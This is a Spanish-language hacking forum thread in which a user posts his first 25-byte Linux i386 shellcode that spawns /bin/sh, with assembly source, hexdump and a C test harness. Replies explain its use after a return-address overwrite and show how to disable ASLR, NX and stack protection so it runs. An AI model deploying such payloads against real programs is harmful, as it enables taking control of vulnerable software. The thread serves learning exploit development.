elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes  (Leído 10,194 veces)
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« en: 4 Enero 2011, 12:59 pm »

Bueno, acabo de conseguir que mi pezqueñina empiece a funcionar... Como Rojodos, yo comparto mi alegria jaja  ;-) ;-) ;-)
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  5.  
  6. int main(int argc, char **argv)
  7. {
  8. printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
  9. (*(void(*)()) code)();
  10. return 0;
  11. }
  12.  
  13.  
Código
  1. BITS 32
  2. ; excve ()
  3.  
  4. xor eax, eax ; Ponemos EAX a cero para bytes nulos
  5. push eax ; Metemos los ceros en la pila
  6. push 0x68732f2f ; Metemos "//sh". La segunda barra no importa. Además alinea.
  7. push 0x6e69622f ; Metemos "/bin". Alineados en la pila
  8. mov ebx, esp ; Metemos la direccion en EBX
  9. push eax ; Mas bytes nulos ...
  10. mov edx, esp ; ... para el entorno de 3º argumento
  11. push ebx ; Metemos la direccion de la cadena en la pila
  12. mov ecx, esp ; Y se la pasamos como direccion
  13. mov al, 11 ; excve = syscall 11
  14. int 0x80 ; Ejecutamos
  15.  
Código:
00000000  31 c0 50 68 2f 2f 73 68  68 2f 62 69 6e 89 e3 50  |1.Ph//shh/bin..P|
00000010  89 e2 53 89 e1 b0 0b cd  80                       |..S......|
00000019

Quiero agradecerle a todos que me hayan ayudado a crearla, con pequeñas ayudas, tanto en el foro de ASM, como en el de C.
Especialmente se lo agradezco a Eternal Idol, que fue el que estuvo echandome una mano en mi primer programa, y en mi primera shellcode, y el que me ayudo en mis comienzos tanto en C como en ASM
Cito tambien el libro "Hacking. Técnicas fundamentales" y a su autor, Jon Erikson, sin los que no habria podido empezar, y recomiendo la lectura del libro [Me han mandado PMs para saber donde comprarlo. Lo siento, lo tengo de la biblioteca, pero lo podeis comprar jaja]
Os doy las gracias a todos los staffs por el gran trabajo que haceis, y a la comunidad en total, por echarme una manita tambien.

Disfrutad de la shellcode y muchas gracias !
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
leucocito

Desconectado Desconectado

Mensajes: 199



Ver Perfil
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #1 en: 4 Enero 2011, 14:07 pm »

Me alegro mucho Sagrini sigue asi.
En línea

..::NexuS::..

Desconectado Desconectado

Mensajes: 11



Ver Perfil
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #2 en: 4 Enero 2011, 15:10 pm »

Una pregunta , para que sirve esto?
En línea

Visita mi SpamBot , version beta y ayudame a mejorarlo ^.^ http://foro.elhacker.net/chats_irc_y_messengers/el_hackernet_spambot_beta-t315840.0.html
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #3 en: 4 Enero 2011, 15:14 pm »

Muchas gracias por tu apoyo leucocito. Si que seguire ;)
Bueno, una shellcode es un codigo que se usa para controlar una aplicación una vez sabes como explotar un bug. Por ejemplo, es donde se manda el programa al sobreescribir el ret.

Muchas gracias por vuestro apoyo!
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
SnakingMax

Desconectado Desconectado

Mensajes: 167



Ver Perfil WWW
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #4 en: 4 Enero 2011, 15:34 pm »


Enhorabuena Sagrini me alegro de que al final lo hayas conseguido ^.^

Yo no consigo correr ninguna shellcode en mi equipo. Por ejemplo al tratar de probar la tuya me salta "Fallo de segmentación":
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  5.  
  6. int main(int argc, char **argv)
  7. {
  8. printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
  9. (*(void(*)()) code)();
  10. return 0;
  11. }
  12.  

Cita de: Terminal
snakingmax@thebigbrother:~/Escritorio/sc$ gcc -g -static -o shellcode shellcode.c
snakingmax@thebigbrother:~/Escritorio/sc$ ls
shellcode  shellcode.c
snakingmax@thebigbrother:~/Escritorio/sc$ ./shellcode
TinShell V1.0 : By Sagrini : 25 bytes
Fallo de segmentación

snakingmax@thebigbrother:~/Escritorio/sc$

He puesto a cero /proc/sys/kernel/randomize_va_space
Datos de mi distro:
DISTRIB_RELEASE=10.04
DISTRIB_CODENAME=lucid
DISTRIB_DESCRIPTION="Ubuntu 10.04.1 LTS"
Versión del compilador: gcc-4.4

Si podeis orientarme en qué puede estar pasando de agradece.
Saludos
En línea

..::NexuS::..

Desconectado Desconectado

Mensajes: 11



Ver Perfil
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #5 en: 4 Enero 2011, 15:36 pm »

Muchas gracias por tu apoyo leucocito. Si que seguire ;)
Bueno, una shellcode es un codigo que se usa para controlar una aplicación una vez sabes como explotar un bug. Por ejemplo, es donde se manda el programa al sobreescribir el ret.

Muchas gracias por vuestro apoyo!

Gracias por la aclaracion  :)
En línea

Visita mi SpamBot , version beta y ayudame a mejorarlo ^.^ http://foro.elhacker.net/chats_irc_y_messengers/el_hackernet_spambot_beta-t315840.0.html
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #6 en: 4 Enero 2011, 15:55 pm »

De nadas Nexus todo por el conocimiento xD jajaja
Gracias Snaking. Ahora me meto el live cd con lo que me has dixo... si lo encuentro jaja.
Bueno, reinicio y digo que pasa...
[PD: No es por el argumento -static. A mi me corre con el. Reiniciando...]
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
SnakingMax

Desconectado Desconectado

Mensajes: 167



Ver Perfil WWW
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #7 en: 4 Enero 2011, 16:41 pm »

Cita de: Terminal
snakingmax@thebigbrother:~/Escritorio/sc$ gcc -g -static -o shellcode shellcode.c
snakingmax@thebigbrother:~/Escritorio/sc$ ls
shellcode  shellcode.c
snakingmax@thebigbrother:~/Escritorio/sc$ ./shellcode
TinShell V1.0 : By Sagrini : 25 bytes
Fallo de segmentación

snakingmax@thebigbrother:~/Escritorio/sc$

Me autorespondo:
Tenía la Protección NX activada. Para desactivarla solamente para ese ejecutable hice esto:
snakingmax@thebigbrother:~/Escritorio/sc$ execstack -s shellcode

Saludos
En línea

M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #8 en: 4 Enero 2011, 16:57 pm »

Hola!

Intenta compilar el código con estos parámetros:

Código:
gcc -g -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb ejemplo.c

Yo he tenido muchos problemas por todo el tema de las protecciónes.
En línea

SnakingMax

Desconectado Desconectado

Mensajes: 167



Ver Perfil WWW
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #9 en: 4 Enero 2011, 17:02 pm »

Hola!

Intenta compilar el código con estos parámetros:

Código:
gcc -g -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb ejemplo.c

Yo he tenido muchos problemas por todo el tema de las protecciónes.
Gracuas por la ayuda M3st4ng, lo he solucionado despues de compilarlo con execstack -s shellcode.

Bueno yo me acabo de acordar de que le deje el disco a mi padre xD asi k menos mal... Google?  :silbar:
Google si. Supuse que tenía alguna protección activada.
Para probar tu S.C. puse a cero /proc/sys/kernel/randomize_va_space y me extrañó que no funcionase, luego probé otras shellcodes que ya había corrido otras veces y seguían sin funcionar.

Saludos
« Última modificación: 4 Enero 2011, 17:10 pm por SnakingMax » En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Qual fue vuestra primera distro de linux y por que decidisteis ir a linux? « 1 2 3 »
GNU/Linux
ShAdoW-PmP 22 12,173 Último mensaje 4 Agosto 2015, 12:28 pm
por FKT
(Ayuda)Primera vez en Linux y con problemas
GNU/Linux
PNM 3 2,236 Último mensaje 18 Diciembre 2015, 17:01 pm
por Maldito karma
Exploiting en arquitecturas i386 Parte 1
Bugs y Exploits
D4lt0n 1 3,001 Último mensaje 1 Diciembre 2023, 17:30 pm
por D3s0rd3n
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines